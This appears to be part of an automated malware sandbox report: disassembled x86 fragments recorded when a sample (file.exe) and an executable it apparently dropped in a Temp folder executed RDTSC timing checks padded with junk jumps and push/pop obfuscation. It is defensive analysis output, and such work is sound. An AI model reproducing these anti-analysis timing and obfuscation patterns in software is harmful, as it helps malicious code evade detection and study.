Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980394 second address: 498040E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FBC14D8F5C1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FBC14D8F5BEh 0x00000015 mov ebp, esp 0x00000017 jmp 00007FBC14D8F5C0h 0x0000001c sub esp, 2Ch 0x0000001f jmp 00007FBC14D8F5C0h 0x00000024 xchg eax, ebx 0x00000025 jmp 00007FBC14D8F5C0h 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e push edi 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498040E second address: 4980436 instructions: 0x00000000 rdtsc 0x00000002 mov dx, D1BEh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 movzx ecx, di 0x0000000c pop edx 0x0000000d popad 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FBC154CB16Ah 0x00000014 xchg eax, edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FBC154CB16Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980436 second address: 498043C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498043C second address: 498044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB16Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498044D second address: 498048E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBC14D8F5C9h 0x00000012 or si, F806h 0x00000017 jmp 00007FBC14D8F5C1h 0x0000001c popfd 0x0000001d movzx eax, dx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49804FC second address: 4980519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB179h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980519 second address: 498051D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49805AF second address: 49805D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49805D2 second address: 49805D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, 7Dh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49805D9 second address: 4980623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FBC154CB172h 0x00000012 pushfd 0x00000013 jmp 00007FBC154CB172h 0x00000018 adc si, FE68h 0x0000001d jmp 00007FBC154CB16Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980623 second address: 498064C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f mov edx, 05D6866Ah 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498064C second address: 4980652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980652 second address: 4980656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498066A second address: 4980670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980670 second address: 4980676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980676 second address: 498067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498067A second address: 49806AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBC14D8F5C7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49806AF second address: 49806C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49806C7 second address: 498077B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FBC85E6D373h 0x0000000e jmp 00007FBC14D8F5C7h 0x00000013 js 00007FBC14D8F5F5h 0x00000019 jmp 00007FBC14D8F5C6h 0x0000001e cmp dword ptr [ebp-14h], edi 0x00000021 jmp 00007FBC14D8F5C0h 0x00000026 jne 00007FBC85E6D336h 0x0000002c jmp 00007FBC14D8F5C0h 0x00000031 mov ebx, dword ptr [ebp+08h] 0x00000034 jmp 00007FBC14D8F5C0h 0x00000039 lea eax, dword ptr [ebp-2Ch] 0x0000003c jmp 00007FBC14D8F5C0h 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov ebx, 0E546580h 0x0000004a call 00007FBC14D8F5C9h 0x0000004f pop ecx 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498077B second address: 498080B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov ax, 853Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e movsx edx, si 0x00000011 pushfd 0x00000012 jmp 00007FBC154CB16Ch 0x00000017 sub ah, 00000028h 0x0000001a jmp 00007FBC154CB16Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 jmp 00007FBC154CB176h 0x00000027 nop 0x00000028 jmp 00007FBC154CB170h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FBC154CB16Ch 0x00000037 and al, FFFFFFE8h 0x0000003a jmp 00007FBC154CB16Bh 0x0000003f popfd 0x00000040 call 00007FBC154CB178h 0x00000045 pop esi 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498080B second address: 4980868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBC14D8F5BEh 0x00000009 sbb ecx, 58F89878h 0x0000000f jmp 00007FBC14D8F5BBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FBC14D8F5C8h 0x0000001b sub eax, 32E9B2D8h 0x00000021 jmp 00007FBC14D8F5BBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a nop 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov bx, 3BC6h 0x00000032 push edx 0x00000033 pop esi 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980868 second address: 498088B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498088B second address: 4980891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980891 second address: 49808B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, 224BD657h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBC154CB178h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980925 second address: 498094A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBC14D8F5C0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498094A second address: 4980959 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980959 second address: 4980023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FBC14D8F5BEh 0x00000010 je 00007FBC85E6D285h 0x00000016 xor eax, eax 0x00000018 jmp 00007FBC14D68CEAh 0x0000001d pop esi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 leave 0x00000021 retn 0004h 0x00000024 nop 0x00000025 cmp eax, 00000000h 0x00000028 setne cl 0x0000002b xor ebx, ebx 0x0000002d test cl, 00000001h 0x00000030 jne 00007FBC14D8F5B7h 0x00000032 jmp 00007FBC14D8F72Bh 0x00000037 call 00007FBC18C08855h 0x0000003c mov edi, edi 0x0000003e jmp 00007FBC14D8F5C1h 0x00000043 xchg eax, ebp 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FBC14D8F5BDh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980023 second address: 4980033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980033 second address: 4980080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FBC14D8F5C5h 0x00000014 sbb ax, A836h 0x00000019 jmp 00007FBC14D8F5C1h 0x0000001e popfd 0x0000001f movzx eax, di 0x00000022 popad 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980080 second address: 4980084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980084 second address: 498008A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498008A second address: 49800A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB179h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49800A7 second address: 49800DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FBC14D8F5BAh 0x00000016 and cx, BC18h 0x0000001b jmp 00007FBC14D8F5BBh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49800DF second address: 49800E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980DA6 second address: 4980E4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov esi, 637B8879h 0x00000011 pushfd 0x00000012 jmp 00007FBC14D8F5C6h 0x00000017 sub si, 7788h 0x0000001c jmp 00007FBC14D8F5BBh 0x00000021 popfd 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007FBC14D8F5C8h 0x00000029 add ecx, 709359E8h 0x0000002f jmp 00007FBC14D8F5BBh 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 jmp 00007FBC14D8F5C9h 0x0000003c xchg eax, ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 call 00007FBC14D8F5C3h 0x00000045 pop esi 0x00000046 mov ax, di 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E4E second address: 4980E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E54 second address: 4980E58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E58 second address: 4980E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FBC154CB178h 0x0000000f cmp dword ptr [75AB459Ch], 05h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E87 second address: 4980E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E8B second address: 4980E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E91 second address: 4980E97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E97 second address: 4980E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E9B second address: 4980E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980E9F second address: 4980EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FBC86598CBEh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBC154CB179h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4980EC8 second address: 4980EE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 1C5D7E62h 0x00000008 mov cx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBC14D8F5C0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990008 second address: 499000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499000C second address: 4990012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990012 second address: 499003C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 36A8A3EDh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBC154CB173h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499003C second address: 4990059 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990059 second address: 499008E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3F01F83Bh 0x00000010 jmp 00007FBC154CB16Eh 0x00000015 call 00007FBC86590C55h 0x0000001a push 75A52B70h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [75AB4538h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499008E second address: 4990092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990092 second address: 49900AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49900AF second address: 49900D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b pushad 0x0000000c mov si, dx 0x0000000f mov ecx, edx 0x00000011 popad 0x00000012 mov dword ptr [ebp-1Ch], esi 0x00000015 pushad 0x00000016 mov ax, bx 0x00000019 push eax 0x0000001a push edx 0x0000001b mov ecx, edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990100 second address: 4990105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990105 second address: 499012C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ah 0x00000005 mov dl, 79h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FBC85E43E2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBC14D8F5C5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0773 second address: 49A0777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0777 second address: 49A0794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0794 second address: 49A0804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBC154CB177h 0x00000009 add cx, AAFEh 0x0000000e jmp 00007FBC154CB179h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FBC154CB170h 0x0000001a xor eax, 5BEAE9F8h 0x00000020 jmp 00007FBC154CB16Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FBC154CB16Bh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0804 second address: 49A0808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0808 second address: 49A080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A080E second address: 49A0887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov ax, 1FEDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FBC14D8F5C6h 0x00000014 add ch, FFFFFFB8h 0x00000017 jmp 00007FBC14D8F5BBh 0x0000001c popfd 0x0000001d mov esi, 6F44E6EFh 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FBC14D8F5C7h 0x0000002e or si, A52Eh 0x00000033 jmp 00007FBC14D8F5C9h 0x00000038 popfd 0x00000039 push eax 0x0000003a pop ebx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0887 second address: 49A08E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBC154CB173h 0x00000008 mov edx, esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f mov bx, cx 0x00000012 movzx eax, dx 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 pushad 0x00000019 mov ebx, 404581B4h 0x0000001e mov si, bx 0x00000021 popad 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 jmp 00007FBC154CB16Fh 0x00000029 mov esi, dword ptr [ebp+0Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FBC154CB175h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A08E2 second address: 49A0912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c mov esi, 4D7D13E3h 0x00000011 movzx ecx, bx 0x00000014 popad 0x00000015 je 00007FBC85E3D06Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov bx, si 0x00000021 mov ah, 42h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0912 second address: 49A0927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB171h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0927 second address: 49A092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A092B second address: 49A0961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AB459Ch], 05h 0x0000000f jmp 00007FBC154CB16Dh 0x00000014 je 00007FBC86590CB6h 0x0000001a pushad 0x0000001b jmp 00007FBC154CB16Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 mov ecx, 7B385EF7h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0961 second address: 49A0965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0965 second address: 49A09BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushfd 0x0000000b jmp 00007FBC154CB175h 0x00000010 jmp 00007FBC154CB16Bh 0x00000015 popfd 0x00000016 pop eax 0x00000017 call 00007FBC154CB179h 0x0000001c mov eax, 0D615AB7h 0x00000021 pop ecx 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ebx 0x00000028 pop eax 0x00000029 push edx 0x0000002a pop ecx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A20 second address: 49A0A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A26 second address: 49A0A3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBC154CB16Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A3D second address: 49A0A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A43 second address: 49A0A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: C9E4DA second address: C9E4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC14D8F5C8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: C9E4F7 second address: C9E509 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBC154CB168h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
